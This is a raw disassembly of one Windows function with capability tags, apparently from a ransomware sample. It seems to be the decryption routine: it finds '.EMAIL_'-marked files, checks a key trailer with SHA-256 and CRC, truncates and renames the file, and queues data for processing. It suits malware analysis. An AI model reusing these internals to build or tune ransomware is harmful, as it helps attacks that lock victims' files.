Function at 0x404bd0
Capabilities:
Clear file content
Encode data using xor
Get file size
Hash data using sha256
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x294
mov eax, dword [0x41c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
push esi
mov dword [ebp - 0x288], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea eax, [eax*2 + 0x28]
push eax
push 8
push dword [0x41d32c]
mov dword [ebp - 0x28c], eax
call ebx
mov edi, eax
mov dword [ebp - 0x290], edi
test edi, edi
jne 0x404c4d
mov esi, dword [ebp - 0x28c]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x41d32c]
call ebx
mov edi, eax
mov dword [ebp - 0x290], eax
test edi, edi
je 0x404c25
mov esi, dword [ebp - 0x288]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str..EMAIL_
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x40500a
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
push ecx
push 0xc0000000
push esi
mov word [eax], cx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x28c], esi
cmp esi, 0xffffffff
je 0x40500a
push 2
push 0
push 0xffffffffffffffff
push 0xffffffffffffffcc
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x1dc]
push eax
push 0x34
lea eax, [ebp - 0x284]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
movups xmm0, xmmword [0x419530]
lea edx, [ebp - 0x280]
lea ecx, [ebp - 0x130]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x24], 0x50
movups xmm0, xmmword [0x419540]
movups xmmword [ebp - 0x14], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
call fcn.00401fa0
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x238]
lea ecx, [ebp - 0x1d0]
call fcn.00403260
lea edx, [ebp - 0x238]
lea ecx, [ebp - 0x180]
call fcn.004035d0
lea eax, [ebp - 0x180]
push eax
lea edx, [ebp - 0x1d0]
lea ecx, [ebp - 0xe0]
call fcn.00401560
add esp, 0xc
lea ecx, [ebp - 0xe0]
call fcn.00401a30
lea ecx, [ebp - 0xe0]
call fcn.00401b10
movups xmm0, xmmword [ebp - 0xe0]
lea edx, [ebp - 0x238]
lea ecx, [ebp - 0x44]
movups xmmword [ebp - 0x238], xmm0
movups xmm0, xmmword [ebp - 0xd0]
movups xmmword [ebp - 0x228], xmm0
movups xmm0, xmmword [ebp - 0xc0]
movups xmmword [ebp - 0x218], xmm0
movups xmm0, xmmword [ebp - 0xb0]
movups xmmword [ebp - 0x208], xmm0
movups xmm0, xmmword [ebp - 0xa0]
movups xmmword [ebp - 0x1f8], xmm0
call fcn.004022a0
xorps xmm0, xmm0
mov dword [ebp - 0x248], 0x6a09e667
push 0x20
lea edx, [ebp - 0x44]
movlpd qword [ebp - 0x250], xmm0
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x244], 0xbb67ae85
mov dword [ebp - 0x240], 0x3c6ef372
mov dword [ebp - 0x23c], 0xa54ff53a
mov dword [ebp - 0x238], 0x510e527f
mov dword [ebp - 0x234], 0x9b05688c
mov dword [ebp - 0x230], 0x1f83d9ab
mov dword [ebp - 0x22c], 0x5be0cd19
mov dword [ebp - 0x228], 0
call fcn.00405fe0
add esp, 4
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x250]
call fcn.00406060
lea esi, [ebp - 0x44]
or eax, 0xffffffff
mov ebx, 0x20
movzx ecx, byte [esi]
lea esi, [esi + 1]
mov edx, eax
shl eax, 8
shr edx, 0x18
xor edx, ecx
xor eax, dword [edx*4 + 0x419130]
sub ebx, 1
jne 0x404e37
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, dword [ebp - 0x258]
je 0x404e7a
mov esi, dword [ebp - 0x288]
push esi
push str.File_Corrupted:__s
call fcn.00404a10
add esp, 8
jmp 0x40500a
mov esi, dword [ebp - 0x28c]
push 2
push 0
push 0xffffffffffffffff
push 0xffffffffffffffcc
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x288]
push 9
push edi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x404ecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.Unable_To_Rename_File:__s____lu
call fcn.00404a10
add esp, 0xc
jmp 0x40500a
push 0
push 0x48000000
push 3
push 0
push 0
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x288], eax
cmp eax, 0xffffffff
je 0x40500a
lea ecx, [ebp - 0x1d8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x404ffd
mov ecx, dword [ebp - 0x1d8]
mov eax, ecx
mov edx, dword [ebp - 0x1d4]
or eax, edx
mov dword [ebp - 0x28c], ecx
je 0x404ffd
test edx, edx
jl 0x404f3e
jg 0x404f33
cmp ecx, 0x20000
jb 0x404f3e
mov ecx, 0x20000
mov dword [ebp - 0x28c], ecx
lea eax, [ecx + 0xe8]
push eax
push 8
push dword [0x41d32c]
mov dword [ebp - 0x294], eax
call ebx
mov esi, eax
test esi, esi
jne 0x404f83
mov edi, dword [ebp - 0x294]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x41d32c]
call ebx
mov esi, eax
test esi, esi
je 0x404f61
mov edi, dword [ebp - 0x290]
mov eax, dword [ebp - 0x28c]
lea ecx, [ebp - 0x44]
mov ebx, dword [ebp - 0x288]
mov dword [esi + 0xe4], eax
mov dword [esi + 0x9c], ebx
mov eax, dword [ebp - 0x284]
shl eax, 0x11
cdq
mov dword [esi + 0xa8], eax
lea eax, [esi + 0x18]
mov dword [esi + 0xac], edx
lea edx, [ebp - 0x260]
push eax
call fcn.00401120
add esp, 4
push dword [0x41d324]
push 0
push dword [0x41d320]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x405003
push esi
push 0
push 0
push dword [0x41d320]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x40500a
lock inc dword [0x41d328]
jmp 0x40500a
mov ebx, dword [ebp - 0x288]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0
push dword [0x41d32c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406224
mov esp, ebp
pop ebp
ret